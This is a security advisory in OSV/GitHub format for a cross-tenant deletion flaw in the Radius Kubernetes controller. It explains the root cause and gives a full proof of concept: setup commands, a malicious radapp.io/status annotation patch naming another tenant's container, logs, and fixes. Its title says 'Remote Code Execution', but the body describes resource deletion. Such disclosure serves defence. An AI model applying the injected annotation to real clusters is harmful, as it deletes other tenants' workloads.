CVE-2026-53999: Github.com/radius project/radius Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fp5j-4fj2-4jvq",
  "modified" : "2026-06-12T20:08:46Z",
  "published" : "2026-06-12T20:08:46Z",
  "aliases" : [ "CVE-2026-53999" ],
  "summary" : "Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)",
  "details" : "# Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)\n\n## Summary\n\nA configuration-validation issue in the Radius Kubernetes controller can cause it to issue a `DELETE` for the container resource referenced by a tampered `radapp.io/status` annotation on a Deployment. It follows the \"Confused Deputy\" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.\n\n- **Vulnerability Type**: Configuration Injection / Cross-Tenant Resource Deletion\n- **CVSS 3.1 Score**: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)\n- **CWE Classification**: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)\n- **Affected Versions**: Radius v0.57.1 and earlier versions\n\n## Vulnerability Details\n\n### Root Cause\n\nThe Radius controller deserializes user-controllable JSON data from the `radapp.io/status` annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.\n\n### Vulnerable Code Locations\n\n**Vulnerability Source** - `pkg/controller/reconciler/annotations.go:110-119`:\n\n```go\ns := deploymentStatus{}\nstatus := deployment.Annotations[AnnotationRadiusStatus]\nif status != \"\" {\n    err := json.Unmarshal([]byte(status), &s)  // Deserializes user-controllable data without validation\n    if err != nil {\n        return result, fmt.Errorf(\"failed to unmarshal status annotation: %w\", err)\n    }\n    result.Status = &s\n}\n```\n\n**Vulnerability Sink** - `pkg/controller/reconciler/deployment_reconciler.go:491`:\n\n```go\npoller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container)  // Directly uses user-controllable data for deletion\n```\n\n### Attack Chain\n\n```text\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                           Confused Deputy Attack                            │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                             │\n│  Tenant-A (Attacker)                    Tenant-B (Victim)                   │\n│  ┌──────────────────┐                   ┌──────────────────┐                │\n│  │ legitimate-app   │                   │ victim-container │                │\n│  │ (Deployment)     │                   │ (Radius Resource)│                │\n│  └────────┬─────────┘                   └────────▲─────────┘                │\n│           │                                      │                          │\n│           │ 1. Inject malicious                  │ 4. DELETE request        │\n│           │    radapp.io/status                  │    (no auth check!)      │\n│           │    annotation                        │                          │\n│           ▼                                      │                          │\n│  ┌──────────────────┐                    ┌───────┴──────────┐               │\n│  │ Radius Controller│ ─────────────────▶│   Radius API      │               │\n│  │ (High Privilege) │  3. Uses injected  │   (UCP)          │               │\n│  └──────────────────┘     container ID   └──────────────────┘               │\n│           ▲                                                                 │\n│           │ 2. Reads annotation                                             │\n│           │    without validation                                           │\n│           │                                                                 │\n└───────────┴─────────────────────────────────────────────────────────────────┘\n```\n\n## Proof of Concept (PoC)\n\n### Prerequisites\n\n- Kubernetes cluster with Radius v0.54.0 installed\n- Attacker has permission to modify Deployment annotations in a namespace\n- Target tenant has Radius-managed container resources\n\n### Environment Setup\n\n#### Step 1: Install Kind Cluster and Radius\n\n```bash\n# Create Kind cluster\nkind create cluster --name radius-test --image kindest/node:v1.27.3\n\n# Install Radius\nrad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans\n\n# Verify installation\nkubectl get pods -n radius-system\n```\n\nExpected output:\n\n```text\nNAME                            READY   STATUS    RESTARTS   AGE\napplications-rp-xxx             1/1     Running   0          2m\nbicep-de-xxx                    1/1     Running   0          2m\ncontroller-xxx                  1/1     Running   0          2m\nucp-xxx                         1/1     Running   0          2m\n```\n\n#### Step 2: Create Attacker Tenant (tenant-a)\n\n```bash\n# Create resource group\nrad group create tenant-a\n\n# Create environment\nrad env create tenant-a-env --group tenant-a\n\n# Switch to tenant-a\nrad group switch tenant-a\nrad env switch tenant-a-env\n```\n\n#### Step 3: Deploy Legitimate Application in tenant-a\n\nCreate `legitimate-app.bicep`:\n\n```bicep\nextension radius\n\n@description('The Radius application resource')\nresource app 'Applications.Core/applications@2023-10-01-preview' = {\n  name: 'legitimate-app'\n  properties: {\n    environment: environment()\n  }\n}\n\n@description('The container resource')\nresource container 'Applications.Core/containers@2023-10-01-preview' = {\n  name: 'legitimate-container'\n  properties: {\n    application: app.id\n    container: {\n      image: 'nginx:latest'\n    }\n  }\n}\n```\n\nDeploy the application:\n\n```bash\nrad deploy legitimate-app.bicep\n```\n\n#### Step 4: Create Victim Tenant (tenant-b)\n\n```bash\n# Create resource group and environment\nrad group create tenant-b\nrad env create tenant-b-env --group tenant-b\n\n# Create victim application and container via UCP API\nkubectl port-forward svc/ucp -n radius-system 8443:443 &\nPF_PID=$!\nsleep 3\n\n# Create application\ncurl -k -X PUT \"https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"location\": \"global\",\n    \"properties\": {\n      \"environment\": \"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env\"\n    }\n  }'\n\n# Create container\ncurl -k -X PUT \"https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"location\": \"global\",\n    \"properties\": {\n      \"application\": \"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app\",\n      \"container\": {\n        \"image\": \"nginx:latest\"\n      }\n    }\n  }'\n\nkill $PF_PID 2>/dev/null || true\n```\n\n#### Step 5: Verify Victim Resource Exists\n\n```bash\nkubectl get deployment -n tenant-b-victim-app victim-container\n```\n\nExpected output:\n\n```text\nNAME               READY   UP-TO-DATE   AVAILABLE   AGE\nvictim-container   1/1     1            1           50s\n```\n\n### Exploitation\n\n#### Step 6: Inject Malicious Annotation\n\nCreate `attack-patch.yaml`:\n\n```yaml\nmetadata:\n  annotations:\n    radapp.io/enabled: \"false\"\n    radapp.io/status: '{\"container\":\"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container\",\"scope\":\"/planes/radius/local/resourceGroups/tenant-b\"}'\n```\n\nExecute the attack:\n\n```bash\nkubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml\n```\n\nExpected output:\n\n```text\ndeployment.apps/legitimate-app patched\n```\n\n#### Step 7: Verify Attack Success\n\nWait a few seconds and check the victim's resources:\n\n```bash\nkubectl get all -n tenant-b-victim-app\n```\n\nExpected output:\n\n```text\nNo resources found in tenant-b-victim-app namespace.\n```\n\n### Log Evidence\n\nThe controller logs show the cross-tenant deletion operation:\n\n**Attack Triggered** (15:29:41.351Z):\n\n```json\n{\n  \"timestamp\": \"2026-02-01T15:29:41.351Z\",\n  \"message\": \"Starting DELETE operation.\",\n  \"Deployment\": {\"name\": \"legitimate-app\", \"namespace\": \"tenant-a\"}\n}\n```\n\n**Cross-Tenant Delete Request** (15:29:41.351Z):\n\n```json\n{\n  \"timestamp\": \"2026-02-01T15:29:41.351Z\",\n  \"message\": \"Deleting container.\",\n  \"scope\": \"/planes/radius/local/resourceGroups/tenant-b\",\n  \"resourceType\": \"Applications.Core/containers\"\n}\n```\n\n**Deletion Successful** (15:29:41.367Z):\n\n```json\n{\n  \"timestamp\": \"2026-02-01T15:29:41.367Z\",\n  \"message\": \"Resource is deleted.\",\n  \"Deployment\": {\"name\": \"legitimate-app\", \"namespace\": \"tenant-a\"}\n}\n```\n\n## Impact\n\n### Security Impact\n\n- **Confidentiality**: No direct impact (no data disclosure)\n- **Integrity**: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC\n- **Availability**: High - Can cause service disruption for target tenants\n\n### Attack Prerequisites\n\n1. Attacker needs permission to modify Deployment annotations in a Kubernetes namespace\n2. Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)\n\n### CVSS 3.1 Vector\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H\n```\n\n| Metric              | Value   | Description                                                        |\n|---------------------|---------|--------------------------------------------------------------------|\n| Attack Vector       | Network | Via Kubernetes API                                                 |\n| Attack Complexity   | Low     | Only requires annotation modification                              |\n| Privileges Required | Low     | Requires Deployment edit permission                                |\n| User Interaction    | None    | No user interaction required                                       |\n| Scope               | Changed | Affects other tenants                                              |\n| Confidentiality     | None    | No data disclosure                                                 |\n| Integrity           | None    | No victim data modified; deletes a recoverable management resource |\n| Availability        | High    | Causes service disruption                                          |\n\n## Workarounds\n\nUntil an official fix is released, consider the following mitigations:\n\n1. **Restrict Annotation Modification Permissions**: Use Kubernetes RBAC to limit who can modify Deployment annotations\n2. **Monitor Anomalous Operations**: Monitor modifications to `radapp.io/status` annotations, especially those containing other tenants' resource IDs\n3. **Network Isolation**: Implement strict network policies in multi-tenant environments\n\n## Remediation Recommendations\n\n### Short-term Fix\n\nAdd validation logic in `annotations.go` to ensure the container ID in `radapp.io/status` belongs to the current namespace/tenant:\n\n```go\nfunc validateContainerScope(deployment *appsv1.Deployment, containerID string) error {\n    expectedScope := extractScopeFromDeployment(deployment)\n    actualScope := extractScopeFromContainerID(containerID)\n    if expectedScope != actualScope {\n        return fmt.Errorf(\"container scope mismatch: expected %s, got %s\", expectedScope, actualScope)\n    }\n    return nil\n}\n```\n\n### Long-term Fix\n\n1. **Implement Least Privilege Principle**: The controller should use credentials associated with the Deployment's tenant\n2. **Add Radius API Authorization Validation**: UCP should validate the source tenant of delete requests\n3. **Audit Logging**: Log all cross-tenant operation attempts\n\n## References\n\n- [Radius Project GitHub](https://github.com/radius-project/radius)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-441: Unintended Proxy or Intermediary (Confused Deputy)](https://cwe.mitre.org/data/definitions/441.html)\n- [OWASP: Confused Deputy Problem](https://owasp.org/www-community/attacks/Confused_Deputy)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/radius-project/radius"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.58.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/radius-project/radius/security/advisories/GHSA-fp5j-4fj2-4jvq"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/radius-project/radius"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/radius-project/radius/releases/tag/v0.58.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-441" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-12T20:08:46Z",
    "nvd_published_at" : null
  }
}